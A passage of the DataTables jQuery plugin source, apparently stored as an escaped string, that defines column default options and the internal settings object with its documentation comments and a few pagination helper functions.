inputs.\n\t\t *  @type string\n\t\t *  @default std\n\t\t *\n\t\t *  @name DataTable.defaults.column.orderDataType\n\t\t *  @dtopt Columns\n\t\t *\n\t\t *  @example\n\t\t *    // Using `columnDefs`\n\t\t *    $(document).ready( function() {\n\t\t *      $('#example').dataTable( {\n\t\t *        \"columnDefs\": [\n\t\t *          { \"orderDataType\": \"dom-text\", \"targets\": [ 2, 3 ] },\n\t\t *          { \"type\": \"numeric\", \"targets\": [ 3 ] },\n\t\t *          { \"orderDataType\": \"dom-select\", \"targets\": [ 4 ] },\n\t\t *          { \"orderDataType\": \"dom-checkbox\", \"targets\": [ 5 ] }\n\t\t *        ]\n\t\t *      } );\n\t\t *    } );\n\t\t *\n\t\t *  @example\n\t\t *    // Using `columns`\n\t\t *    $(document).ready( function() {\n\t\t *      $('#example').dataTable( {\n\t\t *        \"columns\": [\n\t\t *          null,\n\t\t *          null,\n\t\t *          { \"orderDataType\": \"dom-text\" },\n\t\t *          { \"orderDataType\": \"dom-text\", \"type\": \"numeric\" },\n\t\t *          { \"orderDataType\": \"dom-select\" },\n\t\t *          { \"orderDataType\": \"dom-checkbox\" }\n\t\t *        ]\n\t\t *      } );\n\t\t *    } );\n\t\t */\n\t\t\"sSortDataType\": \"std\",\n\t\n\t\n\t\t/**\n\t\t * The title of this column.\n\t\t *  @type string\n\t\t *  @default null <i>Derived from the 'TH' value for this column in the\n\t\t *    original HTML table.</i>\n\t\t *\n\t\t *  @name DataTable.defaults.column.title\n\t\t *  @dtopt Columns\n\t\t *\n\t\t *  @example\n\t\t *    // Using `columnDefs`\n\t\t *    $(document).ready( function() {\n\t\t *      $('#example').dataTable( {\n\t\t *        \"columnDefs\": [\n\t\t *          { \"title\": \"My column title\", \"targets\": [ 0 ] }\n\t\t *        ]\n\t\t *      } );\n\t\t *    } );\n\t\t *\n\t\t *  @example\n\t\t *    // Using `columns`\n\t\t *    $(document).ready( function() {\n\t\t *      $('#example').dataTable( {\n\t\t *        \"columns\": [\n\t\t *          { \"title\": \"My column title\" },\n\t\t *          null,\n\t\t *          null,\n\t\t *          null,\n\t\t *          null\n\t\t *        ]\n\t\t *      } );\n\t\t *    } );\n\t\t */\n\t\t\"sTitle\": null,\n\t\n\t\n\t\t/**\n\t\t * The type allows you to specify how the data for this column will be\n\t\t * ordered. Four types (string, numeric, date and html (which will strip\n\t\t * HTML tags before ordering)) are currently available. Note that only date\n\t\t * formats understood by Javascript's Date() object will be accepted as type\n\t\t * date. For example: \"Mar 26, 2008 5:03 PM\". May take the values: 'string',\n\t\t * 'numeric', 'date' or 'html' (by default). Further types can be adding\n\t\t * through plug-ins.\n\t\t *  @type string\n\t\t *  @default null <i>Auto-detected from raw data</i>\n\t\t *\n\t\t *  @name DataTable.defaults.column.type\n\t\t *  @dtopt Columns\n\t\t *\n\t\t *  @example\n\t\t *    // Using `columnDefs`\n\t\t *    $(document).ready( function() {\n\t\t *      $('#example').dataTable( {\n\t\t *        \"columnDefs\": [\n\t\t *          { \"type\": \"html\", \"targets\": [ 0 ] }\n\t\t *        ]\n\t\t *      } );\n\t\t *    } );\n\t\t *\n\t\t *  @example\n\t\t *    // Using `columns`\n\t\t *    $(document).ready( function() {\n\t\t *      $('#example').dataTable( {\n\t\t *        \"columns\": [\n\t\t *          { \"type\": \"html\" },\n\t\t *          null,\n\t\t *          null,\n\t\t *          null,\n\t\t *          null\n\t\t *        ]\n\t\t *      } );\n\t\t *    } );\n\t\t */\n\t\t\"sType\": null,\n\t\n\t\n\t\t/**\n\t\t * Defining the width of the column, this parameter may take any CSS value\n\t\t * (3em, 20px etc). DataTables applies 'smart' widths to columns which have not\n\t\t * been given a specific width through this interface ensuring that the table\n\t\t * remains readable.\n\t\t *  @type string\n\t\t *  @default null <i>Automatic</i>\n\t\t *\n\t\t *  @name DataTable.defaults.column.width\n\t\t *  @dtopt Columns\n\t\t *\n\t\t *  @example\n\t\t *    // Using `columnDefs`\n\t\t *    $(document).ready( function() {\n\t\t *      $('#example').dataTable( {\n\t\t *        \"columnDefs\": [\n\t\t *          { \"width\": \"20%\", \"targets\": [ 0 ] }\n\t\t *        ]\n\t\t *      } );\n\t\t *    } );\n\t\t *\n\t\t *  @example\n\t\t *    // Using `columns`\n\t\t *    $(document).ready( function() {\n\t\t *      $('#example').dataTable( {\n\t\t *        \"columns\": [\n\t\t *          { \"width\": \"20%\" },\n\t\t *          null,\n\t\t *          null,\n\t\t *          null,\n\t\t *          null\n\t\t *        ]\n\t\t *      } );\n\t\t *    } );\n\t\t */\n\t\t\"sWidth\": null\n\t};\n\t\n\t_fnHungarianMap( DataTable.defaults.column );\n\t\n\t\n\t\n\t/**\n\t * DataTables settings object - this holds all the information needed for a\n\t * given table, including configuration, data and current application of the\n\t * table options. DataTables does not have a single instance for each DataTable\n\t * with the settings attached to that instance, but rather instances of the\n\t * DataTable \"class\" are created on-the-fly as needed (typically by a\n\t * $().dataTable() call) and the settings object is then applied to that\n\t * instance.\n\t *\n\t * Note that this object is related to {@link DataTable.defaults} but this\n\t * one is the internal data store for DataTables's cache of columns. It should\n\t * NOT be manipulated outside of DataTables. Any configuration should be done\n\t * through the initialisation options.\n\t *  @namespace\n\t *  @todo Really should attach the settings object to individual instances so we\n\t *    don't need to create new instances on each $().dataTable() call (if the\n\t *    table already exists). It would also save passing oSettings around and\n\t *    into every single function. However, this is a very significant\n\t *    architecture change for DataTables and will almost certainly break\n\t *    backwards compatibility with older installations. This is something that\n\t *    will be done in 2.0.\n\t */\n\tDataTable.models.oSettings = {\n\t\t/**\n\t\t * Primary features of DataTables and their enablement state.\n\t\t *  @namespace\n\t\t */\n\t\t\"oFeatures\": {\n\t\n\t\t\t/**\n\t\t\t * Flag to say if DataTables should automatically try to calculate the\n\t\t\t * optimum table and columns widths (true) or not (false).\n\t\t\t * Note that this parameter will be set by the initialisation routine. To\n\t\t\t * set a default use {@link DataTable.defaults}.\n\t\t\t *  @type boolean\n\t\t\t */\n\t\t\t\"bAutoWidth\": null,\n\t\n\t\t\t/**\n\t\t\t * Delay the creation of TR and TD elements until they are actually\n\t\t\t * needed by a driven page draw. This can give a significant speed\n\t\t\t * increase for Ajax source and Javascript source data, but makes no\n\t\t\t * difference at all fro DOM and server-side processing tables.\n\t\t\t * Note that this parameter will be set by the initialisation routine. To\n\t\t\t * set a default use {@link DataTable.defaults}.\n\t\t\t *  @type boolean\n\t\t\t */\n\t\t\t\"bDeferRender\": null,\n\t\n\t\t\t/**\n\t\t\t * Enable filtering on the table or not. Note that if this is disabled\n\t\t\t * then there is no filtering at all on the table, including fnFilter.\n\t\t\t * To just remove the filtering input use sDom and remove the 'f' option.\n\t\t\t * Note that this parameter will be set by the initialisation routine. To\n\t\t\t * set a default use {@link DataTable.defaults}.\n\t\t\t *  @type boolean\n\t\t\t */\n\t\t\t\"bFilter\": null,\n\t\n\t\t\t/**\n\t\t\t * Table information element (the 'Showing x of y records' div) enable\n\t\t\t * flag.\n\t\t\t * Note that this parameter will be set by the initialisation routine. To\n\t\t\t * set a default use {@link DataTable.defaults}.\n\t\t\t *  @type boolean\n\t\t\t */\n\t\t\t\"bInfo\": null,\n\t\n\t\t\t/**\n\t\t\t * Present a user control allowing the end user to change the page size\n\t\t\t * when pagination is enabled.\n\t\t\t * Note that this parameter will be set by the initialisation routine. To\n\t\t\t * set a default use {@link DataTable.defaults}.\n\t\t\t *  @type boolean\n\t\t\t */\n\t\t\t\"bLengthChange\": null,\n\t\n\t\t\t/**\n\t\t\t * Pagination enabled or not. Note that if this is disabled then length\n\t\t\t * changing must also be disabled.\n\t\t\t * Note that this parameter will be set by the initialisation routine. To\n\t\t\t * set a default use {@link DataTable.defaults}.\n\t\t\t *  @type boolean\n\t\t\t */\n\t\t\t\"bPaginate\": null,\n\t\n\t\t\t/**\n\t\t\t * Processing indicator enable flag whenever DataTables is enacting a\n\t\t\t * user request - typically an Ajax request for server-side processing.\n\t\t\t * Note that this parameter will be set by the initialisation routine. To\n\t\t\t * set a default use {@link DataTable.defaults}.\n\t\t\t *  @type boolean\n\t\t\t */\n\t\t\t\"bProcessing\": null,\n\t\n\t\t\t/**\n\t\t\t * Server-side processing enabled flag - when enabled DataTables will\n\t\t\t * get all data from the server for every draw - there is no filtering,\n\t\t\t * sorting or paging done on the client-side.\n\t\t\t * Note that this parameter will be set by the initialisation routine. To\n\t\t\t * set a default use {@link DataTable.defaults}.\n\t\t\t *  @type boolean\n\t\t\t */\n\t\t\t\"bServerSide\": null,\n\t\n\t\t\t/**\n\t\t\t * Sorting enablement flag.\n\t\t\t * Note that this parameter will be set by the initialisation routine. To\n\t\t\t * set a default use {@link DataTable.defaults}.\n\t\t\t *  @type boolean\n\t\t\t */\n\t\t\t\"bSort\": null,\n\t\n\t\t\t/**\n\t\t\t * Multi-column sorting\n\t\t\t * Note that this parameter will be set by the initialisation routine. To\n\t\t\t * set a default use {@link DataTable.defaults}.\n\t\t\t *  @type boolean\n\t\t\t */\n\t\t\t\"bSortMulti\": null,\n\t\n\t\t\t/**\n\t\t\t * Apply a class to the columns which are being sorted to provide a\n\t\t\t * visual highlight or not. This can slow things down when enabled since\n\t\t\t * there is a lot of DOM interaction.\n\t\t\t * Note that this parameter will be set by the initialisation routine. To\n\t\t\t * set a default use {@link DataTable.defaults}.\n\t\t\t *  @type boolean\n\t\t\t */\n\t\t\t\"bSortClasses\": null,\n\t\n\t\t\t/**\n\t\t\t * State saving enablement flag.\n\t\t\t * Note that this parameter will be set by the initialisation routine. To\n\t\t\t * set a default use {@link DataTable.defaults}.\n\t\t\t *  @type boolean\n\t\t\t */\n\t\t\t\"bStateSave\": null\n\t\t},\n\t\n\t\n\t\t/**\n\t\t * Scrolling settings for a table.\n\t\t *  @namespace\n\t\t */\n\t\t\"oScroll\": {\n\t\t\t/**\n\t\t\t * When the table is shorter in height than sScrollY, collapse the\n\t\t\t * table container down to the height of the table (when true).\n\t\t\t * Note that this parameter will be set by the initialisation routine. To\n\t\t\t * set a default use {@link DataTable.defaults}.\n\t\t\t *  @type boolean\n\t\t\t */\n\t\t\t\"bCollapse\": null,\n\t\n\t\t\t/**\n\t\t\t * Width of the scrollbar for the web-browser's platform. Calculated\n\t\t\t * during table initialisation.\n\t\t\t *  @type int\n\t\t\t *  @default 0\n\t\t\t */\n\t\t\t\"iBarWidth\": 0,\n\t\n\t\t\t/**\n\t\t\t * Viewport width for horizontal scrolling. Horizontal scrolling is\n\t\t\t * disabled if an empty string.\n\t\t\t * Note that this parameter will be set by the initialisation routine. To\n\t\t\t * set a default use {@link DataTable.defaults}.\n\t\t\t *  @type string\n\t\t\t */\n\t\t\t\"sX\": null,\n\t\n\t\t\t/**\n\t\t\t * Width to expand the table to when using x-scrolling. Typically you\n\t\t\t * should not need to use this.\n\t\t\t * Note that this parameter will be set by the initialisation routine. To\n\t\t\t * set a default use {@link DataTable.defaults}.\n\t\t\t *  @type string\n\t\t\t *  @deprecated\n\t\t\t */\n\t\t\t\"sXInner\": null,\n\t\n\t\t\t/**\n\t\t\t * Viewport height for vertical scrolling. Vertical scrolling is disabled\n\t\t\t * if an empty string.\n\t\t\t * Note that this parameter will be set by the initialisation routine. To\n\t\t\t * set a default use {@link DataTable.defaults}.\n\t\t\t *  @type string\n\t\t\t */\n\t\t\t\"sY\": null\n\t\t},\n\t\n\t\t/**\n\t\t * Language information for the table.\n\t\t *  @namespace\n\t\t *  @extends DataTable.defaults.oLanguage\n\t\t */\n\t\t\"oLanguage\": {\n\t\t\t/**\n\t\t\t * Information callback function. See\n\t\t\t * {@link DataTable.defaults.fnInfoCallback}\n\t\t\t *  @type function\n\t\t\t *  @default null\n\t\t\t */\n\t\t\t\"fnInfoCallback\": null\n\t\t},\n\t\n\t\t/**\n\t\t * Browser support parameters\n\t\t *  @namespace\n\t\t */\n\t\t\"oBrowser\": {\n\t\t\t/**\n\t\t\t * Indicate if the browser incorrectly calculates width:100% inside a\n\t\t\t * scrolling element (IE6/7)\n\t\t\t *  @type boolean\n\t\t\t *  @default false\n\t\t\t */\n\t\t\t\"bScrollOversize\": false,\n\t\n\t\t\t/**\n\t\t\t * Determine if the vertical scrollbar is on the right or left of the\n\t\t\t * scrolling container - needed for rtl language layout, although not\n\t\t\t * all browsers move the scrollbar (Safari).\n\t\t\t *  @type boolean\n\t\t\t *  @default false\n\t\t\t */\n\t\t\t\"bScrollbarLeft\": false\n\t\t},\n\t\n\t\n\t\t\"ajax\": null,\n\t\n\t\n\t\t/**\n\t\t * Array referencing the nodes which are used for the features. The\n\t\t * parameters of this object match what is allowed by sDom - i.e.\n\t\t *   <ul>\n\t\t *     <li>'l' - Length changing</li>\n\t\t *     <li>'f' - Filtering input</li>\n\t\t *     <li>'t' - The table!</li>\n\t\t *     <li>'i' - Information</li>\n\t\t *     <li>'p' - Pagination</li>\n\t\t *     <li>'r' - pRocessing</li>\n\t\t *   </ul>\n\t\t *  @type array\n\t\t *  @default []\n\t\t */\n\t\t\"aanFeatures\": [],\n\t\n\t\t/**\n\t\t * Store data information - see {@link DataTable.models.oRow} for detailed\n\t\t * information.\n\t\t *  @type array\n\t\t *  @default []\n\t\t */\n\t\t\"aoData\": [],\n\t\n\t\t/**\n\t\t * Array of indexes which are in the current display (after filtering etc)\n\t\t *  @type array\n\t\t *  @default []\n\t\t */\n\t\t\"aiDisplay\": [],\n\t\n\t\t/**\n\t\t * Array of indexes for display - no filtering\n\t\t *  @type array\n\t\t *  @default []\n\t\t */\n\t\t\"aiDisplayMaster\": [],\n\t\n\t\t/**\n\t\t * Store information about each column that is in use\n\t\t *  @type array\n\t\t *  @default []\n\t\t */\n\t\t\"aoColumns\": [],\n\t\n\t\t/**\n\t\t * Store information about the table's header\n\t\t *  @type array\n\t\t *  @default []\n\t\t */\n\t\t\"aoHeader\": [],\n\t\n\t\t/**\n\t\t * Store information about the table's footer\n\t\t *  @type array\n\t\t *  @default []\n\t\t */\n\t\t\"aoFooter\": [],\n\t\n\t\t/**\n\t\t * Store the applied global search information in case we want to force a\n\t\t * research or compare the old search to a new one.\n\t\t * Note that this parameter will be set by the initialisation routine. To\n\t\t * set a default use {@link DataTable.defaults}.\n\t\t *  @namespace\n\t\t *  @extends DataTable.models.oSearch\n\t\t */\n\t\t\"oPreviousSearch\": {},\n\t\n\t\t/**\n\t\t * Store the applied search for each column - see\n\t\t * {@link DataTable.models.oSearch} for the format that is used for the\n\t\t * filtering information for each column.\n\t\t *  @type array\n\t\t *  @default []\n\t\t */\n\t\t\"aoPreSearchCols\": [],\n\t\n\t\t/**\n\t\t * Sorting that is applied to the table. Note that the inner arrays are\n\t\t * used in the following manner:\n\t\t * <ul>\n\t\t *   <li>Index 0 - column number</li>\n\t\t *   <li>Index 1 - current sorting direction</li>\n\t\t * </ul>\n\t\t * Note that this parameter will be set by the initialisation routine. To\n\t\t * set a default use {@link DataTable.defaults}.\n\t\t *  @type array\n\t\t *  @todo These inner arrays should really be objects\n\t\t */\n\t\t\"aaSorting\": null,\n\t\n\t\t/**\n\t\t * Sorting that is always applied to the table (i.e. prefixed in front of\n\t\t * aaSorting).\n\t\t * Note that this parameter will be set by the initialisation routine. To\n\t\t * set a default use {@link DataTable.defaults}.\n\t\t *  @type array\n\t\t *  @default []\n\t\t */\n\t\t\"aaSortingFixed\": [],\n\t\n\t\t/**\n\t\t * Classes to use for the striping of a table.\n\t\t * Note that this parameter will be set by the initialisation routine. To\n\t\t * set a default use {@link DataTable.defaults}.\n\t\t *  @type array\n\t\t *  @default []\n\t\t */\n\t\t\"asStripeClasses\": null,\n\t\n\t\t/**\n\t\t * If restoring a table - we should restore its striping classes as well\n\t\t *  @type array\n\t\t *  @default []\n\t\t */\n\t\t\"asDestroyStripes\": [],\n\t\n\t\t/**\n\t\t * If restoring a table - we should restore its width\n\t\t *  @type int\n\t\t *  @default 0\n\t\t */\n\t\t\"sDestroyWidth\": 0,\n\t\n\t\t/**\n\t\t * Callback functions array for every time a row is inserted (i.e. on a draw).\n\t\t *  @type array\n\t\t *  @default []\n\t\t */\n\t\t\"aoRowCallback\": [],\n\t\n\t\t/**\n\t\t * Callback functions for the header on each draw.\n\t\t *  @type array\n\t\t *  @default []\n\t\t */\n\t\t\"aoHeaderCallback\": [],\n\t\n\t\t/**\n\t\t * Callback function for the footer on each draw.\n\t\t *  @type array\n\t\t *  @default []\n\t\t */\n\t\t\"aoFooterCallback\": [],\n\t\n\t\t/**\n\t\t * Array of callback functions for draw callback functions\n\t\t *  @type array\n\t\t *  @default []\n\t\t */\n\t\t\"aoDrawCallback\": [],\n\t\n\t\t/**\n\t\t * Array of callback functions for row created function\n\t\t *  @type array\n\t\t *  @default []\n\t\t */\n\t\t\"aoRowCreatedCallback\": [],\n\t\n\t\t/**\n\t\t * Callback functions for just before the table is redrawn. A return of\n\t\t * false will be used to cancel the draw.\n\t\t *  @type array\n\t\t *  @default []\n\t\t */\n\t\t\"aoPreDrawCallback\": [],\n\t\n\t\t/**\n\t\t * Callback functions for when the table has been initialised.\n\t\t *  @type array\n\t\t *  @default []\n\t\t */\n\t\t\"aoInitComplete\": [],\n\t\n\t\n\t\t/**\n\t\t * Callbacks for modifying the settings to be stored for state saving, prior to\n\t\t * saving state.\n\t\t *  @type array\n\t\t *  @default []\n\t\t */\n\t\t\"aoStateSaveParams\": [],\n\t\n\t\t/**\n\t\t * Callbacks for modifying the settings that have been stored for state saving\n\t\t * prior to using the stored values to restore the state.\n\t\t *  @type array\n\t\t *  @default []\n\t\t */\n\t\t\"aoStateLoadParams\": [],\n\t\n\t\t/**\n\t\t * Callbacks for operating on the settings object once the saved state has been\n\t\t * loaded\n\t\t *  @type array\n\t\t *  @default []\n\t\t */\n\t\t\"aoStateLoaded\": [],\n\t\n\t\t/**\n\t\t * Cache the table ID for quick access\n\t\t *  @type string\n\t\t *  @default <i>Empty string</i>\n\t\t */\n\t\t\"sTableId\": \"\",\n\t\n\t\t/**\n\t\t * The TABLE node for the main table\n\t\t *  @type node\n\t\t *  @default null\n\t\t */\n\t\t\"nTable\": null,\n\t\n\t\t/**\n\t\t * Permanent ref to the thead element\n\t\t *  @type node\n\t\t *  @default null\n\t\t */\n\t\t\"nTHead\": null,\n\t\n\t\t/**\n\t\t * Permanent ref to the tfoot element - if it exists\n\t\t *  @type node\n\t\t *  @default null\n\t\t */\n\t\t\"nTFoot\": null,\n\t\n\t\t/**\n\t\t * Permanent ref to the tbody element\n\t\t *  @type node\n\t\t *  @default null\n\t\t */\n\t\t\"nTBody\": null,\n\t\n\t\t/**\n\t\t * Cache the wrapper node (contains all DataTables controlled elements)\n\t\t *  @type node\n\t\t *  @default null\n\t\t */\n\t\t\"nTableWrapper\": null,\n\t\n\t\t/**\n\t\t * Indicate if when using server-side processing the loading of data\n\t\t * should be deferred until the second draw.\n\t\t * Note that this parameter will be set by the initialisation routine. To\n\t\t * set a default use {@link DataTable.defaults}.\n\t\t *  @type boolean\n\t\t *  @default false\n\t\t */\n\t\t\"bDeferLoading\": false,\n\t\n\t\t/**\n\t\t * Indicate if all required information has been read in\n\t\t *  @type boolean\n\t\t *  @default false\n\t\t */\n\t\t\"bInitialised\": false,\n\t\n\t\t/**\n\t\t * Information about open rows. Each object in the array has the parameters\n\t\t * 'nTr' and 'nParent'\n\t\t *  @type array\n\t\t *  @default []\n\t\t */\n\t\t\"aoOpenRows\": [],\n\t\n\t\t/**\n\t\t * Dictate the positioning of DataTables' control elements - see\n\t\t * {@link DataTable.model.oInit.sDom}.\n\t\t * Note that this parameter will be set by the initialisation routine. To\n\t\t * set a default use {@link DataTable.defaults}.\n\t\t *  @type string\n\t\t *  @default null\n\t\t */\n\t\t\"sDom\": null,\n\t\n\t\t/**\n\t\t * Which type of pagination should be used.\n\t\t * Note that this parameter will be set by the initialisation routine. To\n\t\t * set a default use {@link DataTable.defaults}.\n\t\t *  @type string\n\t\t *  @default two_button\n\t\t */\n\t\t\"sPaginationType\": \"two_button\",\n\t\n\t\t/**\n\t\t * The state duration (for `stateSave`) in seconds.\n\t\t * Note that this parameter will be set by the initialisation routine. To\n\t\t * set a default use {@link DataTable.defaults}.\n\t\t *  @type int\n\t\t *  @default 0\n\t\t */\n\t\t\"iStateDuration\": 0,\n\t\n\t\t/**\n\t\t * Array of callback functions for state saving. Each array element is an\n\t\t * object with the following parameters:\n\t\t *   <ul>\n\t\t *     <li>function:fn - function to call. Takes two parameters, oSettings\n\t\t *       and the JSON string to save that has been thus far created. Returns\n\t\t *       a JSON string to be inserted into a json object\n\t\t *       (i.e. '\"param\": [ 0, 1, 2]')</li>\n\t\t *     <li>string:sName - name of callback</li>\n\t\t *   </ul>\n\t\t *  @type array\n\t\t *  @default []\n\t\t */\n\t\t\"aoStateSave\": [],\n\t\n\t\t/**\n\t\t * Array of callback functions for state loading. Each array element is an\n\t\t * object with the following parameters:\n\t\t *   <ul>\n\t\t *     <li>function:fn - function to call. Takes two parameters, oSettings\n\t\t *       and the object stored. May return false to cancel state loading</li>\n\t\t *     <li>string:sName - name of callback</li>\n\t\t *   </ul>\n\t\t *  @type array\n\t\t *  @default []\n\t\t */\n\t\t\"aoStateLoad\": [],\n\t\n\t\t/**\n\t\t * State that was loaded. Useful for back reference\n\t\t *  @type object\n\t\t *  @default null\n\t\t */\n\t\t\"oLoadedState\": null,\n\t\n\t\t/**\n\t\t * Source url for AJAX data for the table.\n\t\t * Note that this parameter will be set by the initialisation routine. To\n\t\t * set a default use {@link DataTable.defaults}.\n\t\t *  @type string\n\t\t *  @default null\n\t\t */\n\t\t\"sAjaxSource\": null,\n\t\n\t\t/**\n\t\t * Property from a given object from which to read the table data from. This\n\t\t * can be an empty string (when not server-side processing), in which case\n\t\t * it is  assumed an an array is given directly.\n\t\t * Note that this parameter will be set by the initialisation routine. To\n\t\t * set a default use {@link DataTable.defaults}.\n\t\t *  @type string\n\t\t */\n\t\t\"sAjaxDataProp\": null,\n\t\n\t\t/**\n\t\t * Note if draw should be blocked while getting data\n\t\t *  @type boolean\n\t\t *  @default true\n\t\t */\n\t\t\"bAjaxDataGet\": true,\n\t\n\t\t/**\n\t\t * The last jQuery XHR object that was used for server-side data gathering.\n\t\t * This can be used for working with the XHR information in one of the\n\t\t * callbacks\n\t\t *  @type object\n\t\t *  @default null\n\t\t */\n\t\t\"jqXHR\": null,\n\t\n\t\t/**\n\t\t * JSON returned from the server in the last Ajax request\n\t\t *  @type object\n\t\t *  @default undefined\n\t\t */\n\t\t\"json\": undefined,\n\t\n\t\t/**\n\t\t * Function to get the server-side data.\n\t\t * Note that this parameter will be set by the initialisation routine. To\n\t\t * set a default use {@link DataTable.defaults}.\n\t\t *  @type function\n\t\t */\n\t\t\"fnServerData\": null,\n\t\n\t\t/**\n\t\t * Functions which are called prior to sending an Ajax request so extra\n\t\t * parameters can easily be sent to the server\n\t\t *  @type array\n\t\t *  @default []\n\t\t */\n\t\t\"aoServerParams\": [],\n\t\n\t\t/**\n\t\t * Send the XHR HTTP method - GET or POST (could be PUT or DELETE if\n\t\t * required).\n\t\t * Note that this parameter will be set by the initialisation routine. To\n\t\t * set a default use {@link DataTable.defaults}.\n\t\t *  @type string\n\t\t */\n\t\t\"sServerMethod\": null,\n\t\n\t\t/**\n\t\t * Format numbers for display.\n\t\t * Note that this parameter will be set by the initialisation routine. To\n\t\t * set a default use {@link DataTable.defaults}.\n\t\t *  @type function\n\t\t */\n\t\t\"fnFormatNumber\": null,\n\t\n\t\t/**\n\t\t * List of options that can be used for the user selectable length menu.\n\t\t * Note that this parameter will be set by the initialisation routine. To\n\t\t * set a default use {@link DataTable.defaults}.\n\t\t *  @type array\n\t\t *  @default []\n\t\t */\n\t\t\"aLengthMenu\": null,\n\t\n\t\t/**\n\t\t * Counter for the draws that the table does. Also used as a tracker for\n\t\t * server-side processing\n\t\t *  @type int\n\t\t *  @default 0\n\t\t */\n\t\t\"iDraw\": 0,\n\t\n\t\t/**\n\t\t * Indicate if a redraw is being done - useful for Ajax\n\t\t *  @type boolean\n\t\t *  @default false\n\t\t */\n\t\t\"bDrawing\": false,\n\t\n\t\t/**\n\t\t * Draw index (iDraw) of the last error when parsing the returned data\n\t\t *  @type int\n\t\t *  @default -1\n\t\t */\n\t\t\"iDrawError\": -1,\n\t\n\t\t/**\n\t\t * Paging display length\n\t\t *  @type int\n\t\t *  @default 10\n\t\t */\n\t\t\"_iDisplayLength\": 10,\n\t\n\t\t/**\n\t\t * Paging start point - aiDisplay index\n\t\t *  @type int\n\t\t *  @default 0\n\t\t */\n\t\t\"_iDisplayStart\": 0,\n\t\n\t\t/**\n\t\t * Server-side processing - number of records in the result set\n\t\t * (i.e. before filtering), Use fnRecordsTotal rather than\n\t\t * this property to get the value of the number of records, regardless of\n\t\t * the server-side processing setting.\n\t\t *  @type int\n\t\t *  @default 0\n\t\t *  @private\n\t\t */\n\t\t\"_iRecordsTotal\": 0,\n\t\n\t\t/**\n\t\t * Server-side processing - number of records in the current display set\n\t\t * (i.e. after filtering). Use fnRecordsDisplay rather than\n\t\t * this property to get the value of the number of records, regardless of\n\t\t * the server-side processing setting.\n\t\t *  @type boolean\n\t\t *  @default 0\n\t\t *  @private\n\t\t */\n\t\t\"_iRecordsDisplay\": 0,\n\t\n\t\t/**\n\t\t * Flag to indicate if jQuery UI marking and classes should be used.\n\t\t * Note that this parameter will be set by the initialisation routine. To\n\t\t * set a default use {@link DataTable.defaults}.\n\t\t *  @type boolean\n\t\t */\n\t\t\"bJUI\": null,\n\t\n\t\t/**\n\t\t * The classes to use for the table\n\t\t *  @type object\n\t\t *  @default {}\n\t\t */\n\t\t\"oClasses\": {},\n\t\n\t\t/**\n\t\t * Flag attached to the settings object so you can check in the draw\n\t\t * callback if filtering has been done in the draw. Deprecated in favour of\n\t\t * events.\n\t\t *  @type boolean\n\t\t *  @default false\n\t\t *  @deprecated\n\t\t */\n\t\t\"bFiltered\": false,\n\t\n\t\t/**\n\t\t * Flag attached to the settings object so you can check in the draw\n\t\t * callback if sorting has been done in the draw. Deprecated in favour of\n\t\t * events.\n\t\t *  @type boolean\n\t\t *  @default false\n\t\t *  @deprecated\n\t\t */\n\t\t\"bSorted\": false,\n\t\n\t\t/**\n\t\t * Indicate that if multiple rows are in the header and there is more than\n\t\t * one unique cell per column, if the top one (true) or bottom one (false)\n\t\t * should be used for sorting / title by DataTables.\n\t\t * Note that this parameter will be set by the initialisation routine. To\n\t\t * set a default use {@link DataTable.defaults}.\n\t\t *  @type boolean\n\t\t */\n\t\t\"bSortCellsTop\": null,\n\t\n\t\t/**\n\t\t * Initialisation object that is used for the table\n\t\t *  @type object\n\t\t *  @default null\n\t\t */\n\t\t\"oInit\": null,\n\t\n\t\t/**\n\t\t * Destroy callback functions - for plug-ins to attach themselves to the\n\t\t * destroy so they can clean up markup and events.\n\t\t *  @type array\n\t\t *  @default []\n\t\t */\n\t\t\"aoDestroyCallback\": [],\n\t\n\t\n\t\t/**\n\t\t * Get the number of records in the current record set, before filtering\n\t\t *  @type function\n\t\t */\n\t\t\"fnRecordsTotal\": function ()\n\t\t{\n\t\t\treturn _fnDataSource( this ) == 'ssp' ?\n\t\t\t\tthis._iRecordsTotal * 1 :\n\t\t\t\tthis.aiDisplayMaster.length;\n\t\t},\n\t\n\t\t/**\n\t\t * Get the number of records in the current record set, after filtering\n\t\t *  @type function\n\t\t */\n\t\t\"fnRecordsDisplay\": function ()\n\t\t{\n\t\t\treturn _fnDataSource( this ) == 'ssp' ?\n\t\t\t\tthis._iRecordsDisplay * 1 :\n\t\t\t\tthis.aiDisplay.length;\n\t\t},\n\t\n\t\t/**\n\t\t * Get the display end point - aiDisplay index\n\t\t *  @type function\n\t\t */\n\t\t\"fnDisplayEnd\": function ()\n\t\t{\n\t\t\tvar\n\t\t\t\tlen      = this._iDisplayLength,\n\t\t\t\tstart    = this._iDisplayStart,\n\t\t\t\tcalc     = start + len,\n\t\t\t\trecords  = this.aiDisplay.length,\n\t\t\t\tfeatures = this.oFeatures,\n\t\t\t\tpaginate = features.bPaginate;\n\t\n\t\t\tif ( features.bServerSide ) {\n\t\t\t\treturn paginate === false || len === -1 ?\n\t\t\t\t\tstart + records :\n\t\t\t\t\tMath.min( start+len, this._iRecordsDisplay );\n\t\t\t}\n\t\t\telse {\n\t\t\t\treturn ! paginate || calc>records || len===-1 ?\n\t\t\t\t\trecords :\n\t\t\t\t\tcalc;\n\t\t\t}\n\t\t},\n\t\n\t\t/**\n\t\t * The DataTables object for this table\n\t\t *  @type object\n\t\t *  @default null\n\t\t */\n\t\t\"oInstance\": null,\n\t\n\t\t/**\n\t\t * Unique identifier for each instance of the DataTables object. If there\n\t\t * is an ID on the table node, then it takes that value, otherwise an\n\t\t * incrementing internal counter is used.\n\t\t *  @type string\n\t\t *  @default null\n\t\t */\n\t\t\"sInstance\": null,\n\t\n\t\t/**\n\t\t * tabindex attribute value that is added to DataTables control elements, allowing\n\t\t * keyboard navigation of the table and its controls.\n\t\t */\n\t\t\"iTabIndex\": 0,\n\t\n\t\t/**\n\t\t * DIV container for the footer scrolling table if scrolling\n\t\t */\n\t\t\"nScrollHead\": null,\n\t\n\t\t/**\n\t\t * DIV container for the footer scrolling table if scrolling\n\t\t */\n\t\t\"nScrollFoot\": null,\n\t\n\t\t/**\n\t\t * Last applied sort\n\t\t *  @type array\n\t\t *  @default []\n\t\t */\n\t\t\"aLastSort\": [],\n\t\n\t\t/**\n\t\t * Stored plug-in instances\n\t\t *  @type object\n\t\t *  @default {}\n\t\t */\n\t\t\"oPlugins\": {}\n\t};\n\n\t/**\n\t * Extension object for DataTables that is used to provide all extension\n\t * options.\n\t *\n\t * Note that the `DataTable.ext` object is available through\n\t * `jQuery.fn.dataTable.ext` where it may be accessed and 